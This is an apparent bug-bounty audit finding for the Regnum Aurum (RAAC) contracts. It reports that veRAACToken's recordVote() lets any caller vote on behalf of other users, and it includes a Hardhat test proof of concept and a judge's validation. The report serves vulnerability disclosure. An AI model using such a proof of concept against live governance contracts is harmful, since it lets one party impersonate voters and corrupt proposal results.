Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: low
Valid

[M-04] recordVote() allows anyone to vote on behalf of anyone else

Summary

The recordVote() function allows any user to vote on behalf of any other user for proposals without limit, allowing an attacker to subvert the results of a proposal.

Vulnerability Details

There is nothing stopping an attacker for voting for/front-running any other user, this is due to allowing the attacker to select the voter address to impersonate instead of forcing them to use their own address.

Location

Impact

The function is implemented but currently not in use, future usage would however be subject to the problem outlined here and result in a comprised integrity of the vote.

Tools Used

Manual review.

Recommendations

Instead of asking the user for input on the voter address, use msg.sender as the voter.

Proof of Code

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { deployContracts } from './utils/deployContracts.js';
describe('Exploit Tests', function () {
// Set higher timeout for deployments
this.timeout(300000); // 5 minutes
let contracts;
let owner, user1, user2, user3, treasury, repairFund;
const INITIAL_MINT_AMOUNT = ethers.parseEther('1000');
const HOUSE_TOKEN_ID = '1021000';
const HOUSE_PRICE = ethers.parseEther('100');
const ONE_YEAR = 365 * 24 * 3600;
const FOUR_YEARS = 4 * ONE_YEAR;
const BASIS_POINTS = 10000;
before(async function () {
[owner, user1, user2, user3, treasury, repairFund] = await ethers.getSigners();
contracts = await deployContracts(owner, user1, user2, user3);
const displayContracts = Object.fromEntries(Object.entries(contracts).map(([key, value]) => [key, value.target]));
console.log(displayContracts);
// Set house price for testing
await contracts.housePrices.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE);
// Mint initial tokens to users
for (const user of [user1, user2, user3]) {
await contracts.crvUSD.mint(user.address, INITIAL_MINT_AMOUNT);
}
});
describe.only('Bugs:', function () {
it('[M-04] recordVote() allows anyone to vote on behalf of anyone else', async function () {
// user1 votes on behalf of themselves and user2
await contracts.veRAACToken.connect(user1).recordVote(user1.address, 0);
await contracts.veRAACToken.connect(user1).recordVote(user2.address, 0);
// user2 attempts to vote on same proposal
try {
await contracts.veRAACToken.connect(user2).recordVote(user2.address, 0);
} catch (error) {
expect(error.message).to.include('AlreadyVoted()');
}
});
});
});
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::recordVote lacks access control, allowing anyone to emit fake events

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!